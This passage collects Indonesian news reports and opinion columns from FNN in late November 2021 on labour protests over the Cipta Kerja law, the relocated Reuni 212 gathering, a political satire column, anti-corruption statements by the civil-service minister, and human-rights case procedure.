jelas menangguhkan kalau sudah ada peraturan yang bersifat strategis dan berdampak luas. Atau tidak mneerbitkan bila mana peraturan itu belum ada," katanya. Sebelumnya Asosiasi Pengusaha Indonesia (Apindo) sudah menanggapi rencana aksi mogok kerja nasional yang disiapkan para buruh tersebut. Direktur Apindo Research Institute, P. Agung Pambudhi menjelaskan, mogok kerja merupakan hak dari para pekerja dan diatur dalam sederet peraturan ketenagakerjaan. Akan tetapi, mogok kerja nasional yang akan digelar dalam waktu dekat itu dipandang tidak sesuai dengan aturan yang ada. "Dalam UU Ketenagakerjaan, mogok yang ada adalah mogok kerja, yang merupakan akibat gagalnya dari perundingan," ucapnya dalam acara konferensi pers virtual, Kamis, 25 November 2021. Menurut Agung mogok kerja yang sesuai dengan aturan adalah dilakukan terlebih dahulu perundingan dengan pengusaha. Jika perundingan itu gagal, maka pekerja berhak melakukan mogok kerja. Jika dlihat aturan yang lebih teknis, bisa dibaca pada pasal 140 UU Nomor 13 tahun 2003 tentang Kenagakerjaan. Dalam UU tersebut, mogok kerja dapat dilaksanakan bila ada pemberitahuan SP (Serikat Pekerja) atau SB (Serikat Buruh) secara tertulis kepada pengusaha dan dinas tenaga kerja sekurang-kurangnya 7 hari sebelumnya dan memuat alasan mogok kerja. “Jika hal tersebut tidak dipenuhi maka mogok kerja tersebut menjadi tidak sah," ujarnya. (M.Anwar Ibrahim D./FNN).

Buruh Tuntut Pemerintah Patuhi Keputusan Mahkamah Konstitusi

Jakarta, FNN - Pekerja yang menyebutkan dirinya Gerakan Buruh Bersama Rakyat (Gebrak) melakukan aksi demonstrasi di Patung Kuda, Jalan Merdeka Barat, Jakarta Pusat, Senin, 29 November 2021. Mereka mendesak supaya pemerintah patuh terhadap keputusan Mahkamah Konstitusi terkait dengan UU tentang Cipta Kerja yang harus diperbaiki dalam jangka waktu dua tahun. Selama revisi tersebut, mereka meminta seluruh peraturan pemerintah (PP) yang sudah diterbitkan sejak Omnibuslaw di undangkan, supaya dicabut. Artinya, segala PP yang menyangkut buruh, termasuk mengenai ketentuan upah minimal dikembalikan ke aturan yang sudah ada sebelumnya. Massa Gebrak aksi unjuk rasa yang dilakukan di Patung Kuda, Jakarta Pusat merupakan gabungan dari berbagai serikat, yakni KASBI, KPBI, SGBN, LMN-DN, KPA, LBHJak, Sindikasi, Sempro, dan KPR. "Standar upah layak itu paling tidak ada enam kriteria. Bagaimana buruh bisa memenuhi persoalan pangannnya, buruh bisa memenuhi persoalan sandang, buruh bisa memenuhi persoalan papan, buruh bisa memenuhi persoalan pendidikan, kesehatan, dan sosialnya," kata salah satu juru bicara Gebrak dari Kongres Aliansi Serikat Buruh Indonesia (KASBI), Nining Elitos, Senin, 29 November 2021 Buruh menilai pemerintah tidak memperhatikan hal tersebut. Sikap pemerintah yang hanya melihat inflasi dalam penentuan upah dinilai kurang tepat. “Selama ini, penentuan upah kalau mengikuti Undang-Undang Cipta Kerja, justru hanya berdasarkan inflasi," ucap Nining. "Bayangkan di mana letak tanggung jawab negara untuk memberikan peningkatan kesejahteraan rakyat, yang ada justru sebaliknya," ujarnya. Dia mengatakan, aturan penentuan upah layak jika hanya didasarkan inflasi tidak memberikan perlindungan dan juga peningkatan kesejahteraan para buruh. "Praktiknya hari ini justru jauh dari perlindungan dan peningkatan kesejahteraan. Yang ada adalah bagaimana kemiskinan masyarakat semakin tersistematis," ujarnya. Massa Gebrak mendesak Presiden Joko Widodo (Jokowi) supaya mengeluarkan keputusan presiden (kepres) tentang standar upah layak. “Konstitusi kita menyampaikan bagaimana kebutuhan hidup layak, bukan kemudian hidup minimum. Kita mendesak kepada presiden agar membuat satu keputusan presiden tentang upah layak yang berlaku dari Sabang sampai Merauke," ucapnya. Massa Gebrak yang melakukan demonstrasi akhirnya bubar dengan tertib sekitar pukul 18.00. Begitu massa membubarkan diri, jalan Medan Merdeka Barat pun dibuka. Tidak lama kemudian, arus lalu lintas lancar. (M.Anwar Ibrahim/FNN).

Mati Ketawa ala Fadli Zon

Oleh Dhimam Abror Djuraid *) MENGAPA Uni Soviet tidak mengirim orang ke bulan? Karena mereka takut orang-orang itu akan minta suaka. Mengapa dokter gigi tidak laku di Uni Soviet? Karena tidak ada orang yang berani membuka mulut. Itu humor politik kuno yang beredar di era komunisme Uni Soviet. Meski kuno tapi tetap lucu. Humor itu terasa relevan diceritakan di Indonesia, karena banyak situasi politik Indonesia yang terasa absurd. Banyak isu-isu politik Indonesia yang bisa dijadikan bahan humor dan bisa membuat gelak tertawa. Fadli Zon yang selama ini terkenal garang sebagai macan medsos, tiba-tiba menghilang tanpa bekas. Selama dua minggu Fadli menghilang total tidak ada kabar berita. Fahri Hamzah melaporkan hilangnya Fadli ke Gubernur DKI, Anies Baswedan. Seharusnya Fahri melaporkannya ke Kontras. Ada yang menduga Fadli menderita sakit gigi kronis sampai tidak bisa buka mulut selama dua minggu. Ada juga yang mengira Fadli melarikan diri dan bersembunyi di luar negeri. Setelah dicari kesana-kemari tidak ketemu, pimpinan DPR-RI memutuskan untuk menugaskan semua anggota DPR mencari Fadli ke seluruh penjuru dunia. Akhirnya yang berhasil menemukan Fadli adalah delegasi PDIP yang dipimpin langsung oleh Mbak Puan. Fadli ditemukan di Madrid, Spanyol, mungkin sedang mencari suaka di negeri matador itu. Setelah bertemu Fadli, Mbak Puan berfoto bersama, dan Fadli mengunggah di akun medsosnya. Sepulang ke Indonesia nanti Fadli mungkin perlu dilaporkan ke bagian ‘’Lost and Found’’ di bandara. Skenario itu hanya rekaan humor warung kopi yang muncul karena publik kecewa kehilangan Fadli yang biasanya garang. Fadli tidak hilang tapi hanya puasa dua minggu. Fadli dan Puan kemudian jalan bareng menghadiri konferensi parlemen internasional di Madrid. Foto Fadli-Puan itu menunjukkan bahwa keduanya sudah damai. Tapi, Mardani Ali Sera dari PKS kecewa oleh pameran foto itu. Kata Mardani, kasihan rakyat hanya dipameri foto kemesraan tanpa diberi tahu substansi acara di Madrid. Rakyat kecewa. Begitu mungkin maksud Mardani. Sebenarnya rakyat lebih kecewa karena Fadli sudah kehilangan gigi. Mungkin Fadli sudah ketemu dokter gigi yang canggih, yang sudah mengoperasi gigi Fadli sehingga rata dan tidak tajam lagi. Mungkin Fadli akan lebih sering bungkam setelah operasi pangur gigi ini. Setelah sukses menjinakkan Fadli, Puan mungkin akan lebih pede lagi dan lebih yakin akan bisa menjinakkan Ganjar Pranowo. Mumpung ada di Spanyol, Mbak Puan bisa studi banding menonton pertunjukan matador, adu banteng dengan manusia yang sangat terkenal itu. Sepulang dari Spanyol Mbak Puan mungkin bisa mendapat inspirasi untuk diterapkan di Indonesia. Kalau di Spanyol ada festival tarung banteng, di Indonesia mungkin bisa diadakan festival tarung banteng vs celeng. Siapa tahu festival ini bisa mendatangkan turis luar negeri yang bisa menghasilkan devisa. Jalan Mbak Puan untuk bergandengan dengan Prabowo pada pilpres 2024 makin mulus dan lempeng. Pencitraan akan jalan terus melalui berbagai baliho, meskipun beberapa baliho yang sudah terpasang terlihat kurang dipersiapkan dan dipikir dengan serius. Baliho tanam padi hujan-hujanan dikritik Fadli Zon dan Susi Pujiastuti, karena tidak pernah ada petani menanam padi saat hujan. Mungkin Mbak Puan tidak tahu bahwa orang menanam padi selalu berjalan mundur. Tidak ada orang yang menanam padi dengan berjalan maju. Jangan-jangan publik malah menafsirkan bahwa pencalonan Puan mengalami jalan mundur. Mbak Puan jangan sampai membuat pencitraan dengan ikut lomba memancing ikan. Meskipun memancing ikan adalah hobi yang banyak digemari rakyat, tapi pemancing ikan tidak akan pernah bisa maju, karena pasti tercebur ke kolam. Pesaing Mbak Puan yang paling potensial adalah Anies Baswedan. Beda dengan Mbak Puan yang makin mulus dan lempeng, jalan Anies banyak diadang portal. Rencana balapan Formula E sampai sekarang masih terus-menerus diadang dari kanan, kiri, depan, dan belakang. Perhelatan World Super Bike (WSBK) di Mandalika yang didukung Jokowi berlangsung sukses. Meskipun peserta jadi basah kuyup karena hujan dan banjir, nama Mandalika tidak akan berubah menjadi ‘’Mandi-lika’’. Pemerintah masih belum merestui pelaksanaan balapan Formula-E di Jakarta. Pemerintah juga belum memberi izin rencana Reuni 212. Mungkin pemerintah takut dua acara itu diadakan berbarengan, karena setelah acara reuni para alumnus 212 pasti akan langsung menonton balapan beramai-ramai. Anies mengangkat Bamsoet menjadi ketua panitia pengarah balapan Formula E. Bamsoet sudah menunjukkan kepiawaiannya sebagai pebalap jagoan. Mobil yang dikendarai bersama pebalap Sean Gelael koprol terguling berkali-kali, tapi Bamsoet dan Sean selamat tanpa luka segorespun. Bagi kebanyakan orang kecelakaan Bamsoet di sirkuit Meikarta itu horor banget. Tapi bagi Bamsoet kecelakaan itu biasa saja, buktinya dia bisa keluar dari mobil utuh dan bugar. Bamsoet sudah cukup membuktikan ‘’kesaktiannya’’. Dia tidak perlu pamer kesaktian lagi, misalnya dengan mengendarai mobil mewah melawan arah di jalan tol. Apalagi kemudian mengajak Presiden Jokowi sebagai co-driver kehormatan. Erick Thohir juga semakin bersemangat melakukan persiapan 2024. Namanya semakin sering viral di media sosial maupun media konvensional. Namanya disebut-sebut bersama Luhut Binsar Panjaitan karena dianggap mendapat cuan dari bisnis PCR. Tidak berapa lama kemudian muncul orang yang mendeklarasi Luhut-Erick sebagai capres dan cawapres 2024. Kelompok deklarator ini menyebut diri sebagai PCR atau Pendukung Cinta Republik, bukan ‘’Pencoleng Cuan Rakyat’’. Erick kemudian viral lagi setelah menyidak toilet di sebuah SPBU, dan kaget ketika harus bayar dua ribu perak. Erick langsung memerintahkan direksi Pertamina untuk menggratiskan biaya toilet di SPBU seluruh Indonesia. Erick pun dinobatkan sebagai ‘’Bapak Toilet Indonesia’’. Tidak berhenti sampai disitu, Erick menjadi berita lagi ketika diangkat menjadi anggota kehormatan Banser (29/11). Rupanya, Erick tidak mau kalah dari Presiden Jokowi dan Wapres Ma’ruf Amin yang sudah diangkat sebagai anggota kehormatan ormas Pemuda Pancasila (PP). Ormas PP lagi bikin heboh karena mengadakan demo di depan kompleks DPR Senayan dan berakhir ricuh. Para anggota PP kesal karena Junimart Girsang meminta pemerintah membubarkan ormas yang suka bikin rusuh. Para anggota PP mendesak Junimart minta maaf dan mencium tangan Yapto Soerjosoemarno, ketua umum PP. Para anggota PP mungkin mendapat inspirasi dari kasus Arteria Dahlan yang berakhir dengan minta maaf dan cium tangan. Polisi dibuat sibuk oleh banyak demonstrasi. Para buruh mengancam akan demo besar-besaran setelah MK memutuskan bahwa sebagian UU Omnibus Law inkonstitusional dan harus diperbaiki dalam dua tahun ke depan. Buruh meradang karena pemerintah masih keukeuh akan menerapkan UU itu. Ibarat nasi sepiring sudah busuk seperempat, tapi masih dimakan pula. Buruh juga gerah terhadap Menaker karena menyebut upah minimum 2022 terlalu tinggi. Sudah minimum, tapi dianggap terlalu tinggi. Mungkin Menaker akan mengeluarkan SK untuk menetapkan upah buruh di bawah minimum yang akan berlaku di seluruh Indonesia. Di negara komunis para buruh pura-pura bekerja dan para majikan pura-pura membayar. Di Indonesia para buruh pura-pura tidak bekerja, tetapi para majikan tetap pura-pura membayar. Sistem ekonomi Indonesia bukan kapitalis, bukan sosialis, bukan komunis. Sistem yang dianut Indonesia adalah sistem yang bukan-bukan. Sistem ekonomi kapitalistis adalah eksploitasi manusia oleh manusia. Sistem ekonomi Indonesia persis sebaliknya. (*) *) Penulis wartawan senior

Reuni 212 Batal Digelar di Jakarta

Jakarta, FNN – Kegiatan Reuni 212 batal digelar di sekitar Monumen Nasional (Monas), dan juga di sekitar Patung Kuda, Jalan Medan Merdeka Barat, Jakarta Pusat. Sebagai gantinya, kegiatan tesebut akan dilangsungkan di Masjid Az Zikra, Sentul, Bogor, Jawa Barat. Kepastian pembatalan tesebut disampaikan Ketua Panitia Panitia Reuni 212, Eka Jaya dalam siaran persnya yang diterima FNN.co.id, di Jakarta, Senin, 29 November 2021. Keterangan Eka tersebut juga bisa ditonton di FNN TV Channel Yotube. “Pelaksanaan Reuni 212 Tahun 2021 akan diadakan secara terbatas dengan menerapkan Protokol Kesehatan di Masjid Az Zikra Sentul, Bogor, Jawa Barat sekaligus do’a bersama untuk almarhum Ust Ameer Azzikra putra alm. KH M Arifin Ilham dan disiarkan secara virtual dan live streaming,” kata Eka. Keputusan meniadakan kegiatan Reuni 212 di Jakarta diambil setelah mendengarkan masukan dari para ulama dan tokoh 212 serta paparan dari pihak lainnya. Bagi alumni 212 di berbagai daerah dianjurkan membuat acara yang sama dengan tetap menjaga ciri khas 212 dan protokol kesehatan. Panitia mengimbau dan mengintruksikan kepada seluruh Alumni 212 supaya mengadakan aksi kemanusiaan berupa: pembagian paket sembako (sembilan bahan kebutuhan pokok), bedah rumah, membersihkan tempat ibadah, membersihkan sungai, pengobatan gratis dan program lainnya. Di awal siaran persnya, Eka mengatakan, acara Reuni 212 adalah milik Umat Islam, bahkan milik Bangsa Indonesia, sehingga kami betul-betul sangat memperhatikan aspirasi umat dan masukan dari para ulama dan tokoh serta pihak terkait dalam setiap Acara Reuni 212. Acara Reuni 212 kapan dan di mana saja digelar wajib menjaga ciri khas 212, yaitu persaudaraan dan persatuan, eamanan da perdamaian, ketertiban dan kebersihan, serta akhlaq kharimah. Terkait dengan acara Reuni 212 tahun 2021 ini banyak umat berharap tahun ini digelar secara terbuka tepat pada Kamis, 2 Desember 2021, karena aneka acara di mana-mana sudah diizinkan digelar secara terbuka. Panitia Reuni 212 Tahun 2021 telah bekerja keras mengurus perizinan tempat yaitu di Lapangan Monas (sesuai sejarah 212 itu sendiri ) dan di Bundaran Patung Kuda dan berkomunikasi dengan berbagai pihak. Setelah berbagai usaha dilakukan, maka pelaksanaan kegiatan Reuni 212 tahun 2021 tidak digelar di Jakarta. Sebelumnya, Wakil Gubernur DKI Jakarta Ahmad Riza Patria menegaskan rencana kegiatan Reuni 212 tidak mungkin dilaksanakan di kawasan Monumen Nasional (Monas) Jakarta Pusat. "Mereka (reuni 212) tidak jadi di Monas ya. Tidak jadi di Monas, karena sampai saat ini Monas belum dibuka," kata Riza di Gedung DPRD DKI Jakarta, Senin, 29 November 2021. Riza menyebutkan, pihaknya menghormati dan menghargai keinginan dari pihak persaudaraan alumni 212 untuk melaksanakan kegiatan reuni Akan tetapi, ia mengingatkan Jakarta sampai saat ini masih dalam masa pandemi Covid-19. "Harus diingat sekarang ini kita masih di masa Covid-19 sekali pun DKI Jakarta sudah memasuki level 1. Apalagi ini sudah memasuki akhir tahun," ujar Riza. (M.Anwar Ibrahim/FNN).

Banser Itu Elit

Oleh Ady Amar *) Barisan Ansor Serbaguna (Banser), sebuah badan otonom Nahdlatul Ulama dari GP Ansor, itu saat ini tidak bisa dilihat sebelah mata. Banser menjelma sebagai kekuatan yang diperhitungkan. Tentu bukan diperhitungkan karena komandan utama Banser, Yaqut Cholil Qoumas, Ketua GP Ansor, diangkat jadi Menteri Agama RI. Meski itu sebuah pencapaian luar biasa. Banser Ansor pada masa kini memang tampak jadi kekuatan yang diperhitungkan, seolah mampu menggoyang eksistensi HMI/KAHMI, yang sejak baheula jadi kekuatan yang diperhitungkan rezim yang berkuasa. Banser Ansor (selanjutnya ditulis Banser) bahkan menjadi kekuatan elit yang diperebutkan, setidaknya diperlihatkan Meneg BUMN, Erick Thohir (ET), yang tiba-tiba memilih Banser sebagai sandarannya. Tidak menutup kemungkinan akan berderet lagi tokoh yang ingin jadi bagian darinya. Tidak jelas memang mengapa ET sampai kepincut ingin menjadi bagian dari keluarga besar Banser. Setelah melalui "plonco" merayap di rerumputan. Merambat bagai buaya, dengan pakaian khas "tentara" loreng-loreng Banser, dan dengan risiko kepala kecantol kawat, meski kawat tak berduri. Ia lulus dalam perploncoan, dan resmi diangkat sebagai Anggota Kehormatan Banser. Orang lalu gumun ada apa sebenarnya dengan ET ini, kok pilihannya jadi aneh-aneh. Sebelumnya, viral dialognya dengan penjaga ponten umum di sebuah SPBU. Videonya viral, dan menuai tanggapan netizen yang 99 persen menertawakan. Bermacam komen, satu yang nyelekit, "WC umum minta digratiskan, giliran PCR jadi ajang bisnis". Pilihan ET pada Banser harusnya dilihat tidak sekarang, tapi jauh ke depan, itu di tahun 2024. ET mencoba peruntungannya di situ, dan itu tentang Pilpres. Setidaknya, jika ikhtiarnya kesampaian bagian dari yang berkontestasi, maka ia berharap ada sumbangan suara signifikan dari Nahdlatul Ulama, setidaknya dari GP Ansor. ET jauh-jauh hari sudah nitip diri berharap nantinya dirinyalah yang jadi pilihan kaum nahdliyin. Jadi, pilihan ET pada Banser, meski itu hal yang belum pasti bisa mewujudkan keinginannya, tetaplah ikhtiar luar biasa yang pantas dihargai. Bagi ET tidak ada yang tidak mungkin, maka pilihannya yang sampai ia harus diplonco segala, itu langkah yang dipersiapkan jauh hari, agar pada waktunya ia tak tertinggal kereta. Ada yang bertanya, apakah menjadi anggota kehormatan Banser itu memang cita-cita ET sejak remaja dulu, dan baru kesampaian saat ia sudah menjadi Meneg BUMN, tidak ada yang bisa menjawab, karena tidak ada keterangan yang demikian darinya. Terpenting ET sudah jadi bagian keluarga besar Banser, dan otomatis juga jadi bagian nahdliyin. Di sini yang elit memang Banser, menjadi Ormas yang diperebutkan. Sedang ET cuma manusia biasa saja, yang secara kebetulan menjabat sebagai menteri, maka ia diberi atau dilabeli sebagai anggota kehormatan Banser. Meski ET harus tetap tunduk pada statuta Banser, yang itu diatur sebagai landasan operasionalnya. Banser Ansor yang di era Orde Baru termarginalkan keberadaannya, saat ini jadi sebaliknya. Menjadi tentara sipil bergengsi, dan yang akrab bersinergi dengan rezim. Langkah Banser menjadi mudah dan tampak disokong kekuasaan. Banser ada dalam pusaran kekuasaan dan menikmatinya. Pantaslah jika Banser menjadi kekuatan yang diperhitungkan, setidaknya ET sebagai jawabannya. Ia tengah berharap pada Banser. Harapan yang tentu punya nilai, yang pada waktunya ingin ditagihnya. ET berharap mendapat balasan setimpal yang tentu sesuai dengan pengorbanan yang diberikan. Memang tidak ada makan siang yang gratis, soal itu pastilah ET memahaminya. (*) *) Kolumnis

Pakai Cara Sendiri Jangan Tiru Partai Lain, Anis Matta: Warga Jabar Pemilih Cerdas dan Rasional

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menilai warga Jawa Barat (Jabar) sebagai pemilih yang cerdas. Hal tersebut terbukti, dengan tidak adanya partai politik yang mampu memenangkan pemilu dua kali berturut-turut di Jabar selama masa reformasi. "Tidak ada partai yang menang dua kali berturut-turut di Jawa Barat. Artinya pemilih di Jawa Barat pemilih cerdas," ujar Anis saat menggelar dialog bertajuk 'Bandung Ngawangkong', di Bandung, Minggu (28/11/2021). Anis Matta mengatakan, masyarakat Jawa Barat lebih terbuka terhadap berbagai informasi termasuk mengenai politik. Salah satunya karena letaknya yang dekat dengan ibukota negara. "Jadi masyarakat Jawa Barat ini paling cepat responsnya terhadap isu-isu nasional," katanya. Selain itu, Anis Matta menilai, warga Jabar pun sangat terbuka terhadap berbagai ide dan pemikiran dalam berbangsa dan bernegara. Hal ini terlihat dari sejarah yang pernah terjadi di Jabar saat berkembangnya Negara Islam Indonesia (DI/TII). Jabar juga menjadi awal mula berkembangnya Marhaenisme yang digagas Soekarno. "Di Jawa Barat pernah berkembang ide kanan, juga ide kiri. Artinya masyarakat Jawa Barat terbuka terhadap ide-ide apapun yang disampaikan kepada mereka," katanya. Anis Matta kemudian memuji warga Jabar, karena hal ini merupakan tipikal masyarakat demokrasi. "Masyarakat demokrasi membutuhkan pemimpin yang mampu meyakinkan, bukan yang mampu memaksa," katanya. Oleh karena itu, menurut Anis Matta, pemilih di Jabar membutuhkan partai politik yang mampu meyakinkan akan masa depan yang lebih baik. Sebab, warga Jabar tidak bisa digiring secara sederhana, tapi perlu diyakinkan oleh kader-kader Partai Gelora "Itu sebenarnya karakter dasar dari masyarakat demokrasi," katanya. Karena itu, Anis Matta meminta agar kader Partai Gelora menggunakan caranya sendiri dalam meyakinkan warga Jabar, bukan meniru cara yang digunakan partai lain. "Besar-kecil, susah-gampang adalah soal cara pandang kita terhadap masalah yang kita hadapi. Yang penting adalah membuka cakrawala agar situasi mental kita selalu berada di atas masalah agar bisa meyakinkan orang lain," katanya. Sehingga dapat menemukan cara sendiri untuk mengatasi masalah dengan cara selalu membaca situasi dengan kreativitas dan imajinasi. "Imajinasi adalah kekuatan kita yang kadang kita lupa untuk memanfaatkannya. Sekarang inilah, ketika kita berada dalam banyak keterbatasan akibat pandemi, sehingga imajinasi kita berperan penting," ujarnya. Ketua Bapilu DPN Partai Gelora Rico Marbun mengaku optimis dapat meyakinkan masyarakat terhadap ide-ide dan narasi Partai Gelora, tidak hanya warga Jabar saja. "Ada beberapa hal yang membuat kita optimis. Hampir 60 persen yang setuju partai baru, dengan menjual semangat saja, setengahnya memilih kita, " kata Rico. (sws)

Menpan RB: SPBE dan ZI Komitmen Wujudkan Pemerintahan Bersih

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo mengatakan pemerintah berkomitmen mewujudkan pemerintahan bersih dan transparan melalui Sistem Pemerintahan Berbasis Elektronik (SPBE) dan Zona Integritas (ZI). "ZI merupakan predikat yang diberikan kepada kementerian/lembaga (K/L) dan pemda yang pimpinan dan jajarannya mempunyai niat atau komitmen untuk mewujudkan Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih Melayani (WBBM), melalui upaya pencegahan korupsi, reformasi birokrasi, dan peningkatan kualitas pelayanan publik," kata Tjahjo dalam keterangannya di Jakarta, Senin. Terkait pembangunan zona integritas, lanjut Tjahjo, pada 2020 telah terbentuk sebanyak 763 unit kerja di seluruh instansi pemerintahan yang mendapatkan predikat ZI. "Dari 763 unit tersebut, 681 di antaranya berpredikat WBK dan 82 unit di antaranya berpredikat WBBM," tambahnya. Tjahjo terus mendukung seluruh ASN untuk dapat memberikan contoh baik kepada masyarakat dalam rangka mencegah dan menekan praktik korupsi di berbagai institusi. "Melawan dan memberantas korupsi di lingkungan birokrasi bukan pekerjaan gampang, tetapi ini pekerjaan yang harus dilakukan secara terus menerus dan konsisten," tegasnya. Ia mengakui pelaksanaan aksi pembangunan zona integritas telah berjalan baik. Namun demikian, Tjahjo meminta seluruh instansi pemerintahan untuk meningkatkan kinerja dalam meraih predikat WBK dan WBBM. "Pembangunan ZI yang terjadi masih pada level proses, bahkan untuk kawasan pelabuhan masih terdapat kendala besar, karena masing-masing proses bisnis di antara unit layanan di sana masih berjalan sendiri-sendiri, belum terintegrasi," ujarnya. Oleh karena itu, Tjahjo mengimbau seluruh ASN, khususnya di kawasan pelabuhan untuk segera menerapkan zona integritas guna menekan praktik tidak transparan dan prosedur panjang dalam memberikan pelayanan publik kepada masyarakat. (sws)

Anggota DPR Minta Kejagung Tindaklanjuti Kasus HAM Sesuai Ketentuan UU

Jakarta, FNN - Anggota Komisi III DPR RI Taufik Basari meminta Kejaksaan Agung menindaklanjuti hasil penyelidikan Komnas HAM atas pelanggaran kasus HAM berat dengan melakukan penyidikan sesuai dengan UU No. 26 Tahun 2000 tentang Pengadilan HAM. Menurut dia, tindak lanjut hasil penyelidikan Komnas HAM atas pelanggaran HAM berat masa lalu tidak perlu menunggu keputusan DPR seperti yang disampaikan Menteri Koordinator Bidang Politik, Hukum, dan Keamanan (Menkopolhukam) Mahfud MD, kata Taufik Basari di Jakarta, Senin. "Kejagung dapat menindaklanjuti dengan melakukan penyidikan terhadap kasus tersebut sesuai dengan ketentuan UU Pengadilan HAM dan hukum acara yang berlaku. Keputusan DPR untuk membentuk Pengadilan HAM ad hoc dilakukan setelah penyidikan oleh Kejagung dilakukan," katanya. Dia menjelaskan, ketentuan tersebut merujuk pada Pasal 43 ayat (1) UU Pengadilan HAM yang menyebutkan, "Pelanggaran hak asasi manusia yang berat yang terjadi sebelum diundangkannya undang-undang ini, diperiksa dan diputus oleh Pengadilan HAM ad hoc." Dalam Pasal 43 ayat (2) UU Pengadilan HAM menyebutkan, "Pengadilan HAM ad hoc sebagaimana dimaksud dalam ayat (1) dibentuk atas usul Dewan Perwakilan Rakyat Republik Indonesia berdasarkan peristiwa tertentu dengan Keputusan Presiden." "Berdasarkan Putusan Mahkamah Konstitusi (MK) Nomor 18/PUU-V/2007, kata 'dugaan' dalam penjelasan Pasal 43 ayat (2) UU Pengadilan HAM tersebut bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 dan dinyatakan batal serta tidak memiliki kekuatan hukum mengikat, karena menimbulkan ketidakpastian hukum," ujarnya. Penjelasan pasal itu awalnya berbunyi sebagai berikut, “Dalam hal Dewan Perwakilan Rakyat Republik Indonesia mengusulkan dibentuknya Pengadilan HAM ad hoc, Dewan Perwakilan Rakyat Republik Indonesia mendasarkan dugaan telah terjadinya pelanggaran hak asasi manusia yang berat yang dibatasi pada locus dan tempus delicti tertentu yang terjadi sebelum diundangkannya Undang-Undang ini." Taufik menjelaskan, berdasarkan Putusan MK tahun 2007 tersebut, terkait DPR merekomendasikan pembentukan Pengadilan HAM ad hoc, DPR harus memperhatikan hasil penyelidikan dan penyidikan dari institusi yang berwenang. Karena itu dia menilai, sebelum DPR mengusulkan pembentukan Pengadilan HAM ad hoc, terlebih dahulu harus ada dasar penyidikan yang dilakukan, sehingga bukan DPR yang menduga sendiri terjadinya peristiwa pelanggaran HAM berat, melainkan proses pro yustisia yang mendasari keputusannya. Menurut dia, kewenangan DPR yang diberikan UU adalah dalam hal mengusulkan pembentukan Pengadilan HAM ad hoc untuk pelanggaran HAM masa lalu, bukan dalam hal menentukan apakah hasil penyelidikan Komnas HAM dapat ditingkatkan menjadi penyidikan atau tidak. "Menindaklanjuti hasil penyidikan Komnas HAM menjadi penyidikan adalah kewenangan Jaksa Agung. Karena itu laksanakanlah kewenangan pro yustisia itu berdasarkan hukum," ujarnya. Taufik mendukung perintah Jaksa Agung kepada Jaksa Agung Muda Pidana Khusus (Jampidsus) untuk menyusun langkah-langkah strategis dan membuat terobosan progresif untuk menuntaskan pelanggaran HAM masa lalu. Namun dia mengingatkan bahwa sebelumnya Presiden memerintahkan agar komitmen penuntasan masalah HAM masa lalu harus terus dilanjutkan, dan Kejaksaan adalah aktor kunci dalam penuntasan pelanggaran HAM masa lalu. "Segera tuntaskan pelanggaran HAM masa lalu karena ini adalah hutang politik kita kepada bangsa ini, jangan sampai negeri yang kita cintai ini gagal memberikan keadilan bagi rakyatnya dan menjadi negara yang menjalankan praktek impunitas yakni membiarkan kejahatan tanpa adanya penegakan hukum dan keadilan," katanya. Sebelumnya, Menkopolhukam Mahfud MD pada Kamis (25/11) mengatakan, dari 13 kasus pelanggaran HAM berat yang diselidiki Komnas HAM, 4 diantaranya yang terjadi setelah tahun 2000 diproses pemerintah. Menurut Mahfud, untuk 9 kasus lainnya terjadi sebelum lahirnya UU Peradilan HAM pada tahun 2000, menunggu keputusan DPR. Empat kasus yang terjadi setelah berlakunya Undang-Undang Nomor 26 Tahun 2000 Tentang Pengadilan HAM (UU Pengadilan HAM) adalah kasus Wasior tahun 2001, kasus Wamena tahun 2003, kasus Jambu Keupok Aceh tahun 2003 dan kasus Paniai tahun 2004. Sementara 9 kasus yang terjadi sebelum tahun 2000 yaitu peristiwa 1965-1966, Penembakan Misterius tahun 1982-1985, kasus Talangsari Lampung tahun 1989, Peristiwa Trisakti, Semanggi I dan II di tahun 1998-1999, Kerusuhan Mei 1998, Penghilangan Paksa tahun 1997-1998, Pembunuhan Dukun Santet tahun 1998, kasus Simpang KAA tahun 1999, dan kasus Peristiwa Rumoh Geudong dan Pos Sattis lainnya terjadi di masa Aceh dalam status Daerah Operasi Militer (DOM) pada 1989–1998. (sws)

Menpan RB Ingatkan ASN Waspadai Area Rawan Korupsi

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo terus mengingatkan kepada seluruh aparatur sipil negara (ASN) untuk mewaspadai area rawan korupsi. Dalam keterangannya di Jakarta, Senin, Tjahjo mengingatkan sejumlah area rawan korupsi di lingkup instansi pemerintahan antara lain di sektor perencanaan anggaran, hibah, bantuan sosial, pajak, retribusi, pengadaan barang dan jasa serta praktik jual dan beli jabatan. "Kemenpan RB tentunya selalu mendukung upaya pemberantasan korupsi di negeri ini, dengan segala kewenangan yang kami miliki. Tentu saja pencapaian saat ini harus terus ditingkatkan," kata Tjahjo. Dengan adanya momentum peringatan Hari Antikorupsi Sedunia atau Hakordia, pada 9 Desember mendatang, Tjahjo meminta seluruh pejabat publik dan ASN dapat mengambil peran untuk memperkuat upaya Pemerintah dalam memberantas korupsi di Indonesia. "Seluruh elemen bangsa harus ikut bergerak dengan fungsi dan tugasnya masing-masing; karena tanggung jawab melawan korupsi tidak hanya ada di pundak aparat penegak hukum," jelasnya. Upaya mendukung pemberantasan korupsi di Indonesia didukung dengan terbitnya Undang-undang Nomor 19 Tahun 2019 tentang Perubahan Kedua atas Undang-undang Nomor 30 Tahun 2002 tentang Komisi Pemberantasan Tindak Pidana Korupsi. "Regulasi ini adalah salah satu instrumen untuk memerangi korupsi, dimana KPK (Komisi Pemberantasan Korupsi) yang ada di garda depannya," katanya. Tjahjo juga mengapresiasi kinerja KPK dalam menindak tegas perbuatan pidana korupsi dengan melakukan operasi tangkap tangan (OTT) kepada siapa saja terduga koruptor. "OTT KPK jadi bukti bahwa lembaga ini (KPK) tidak tebang pilih. Sebagai bukti, OTT KPK dilakukan terhadap menteri, pihak swasta, para kepala daerah dan para pejabat atau ASN. Tentunya sebagai salah satu instrumen penindakan OTT harus ditingkatkan terus," ujar Tjahjo. (sws)

KM Subur Indah Hilang Kontak di Perairan Pantai Amal Kaltara

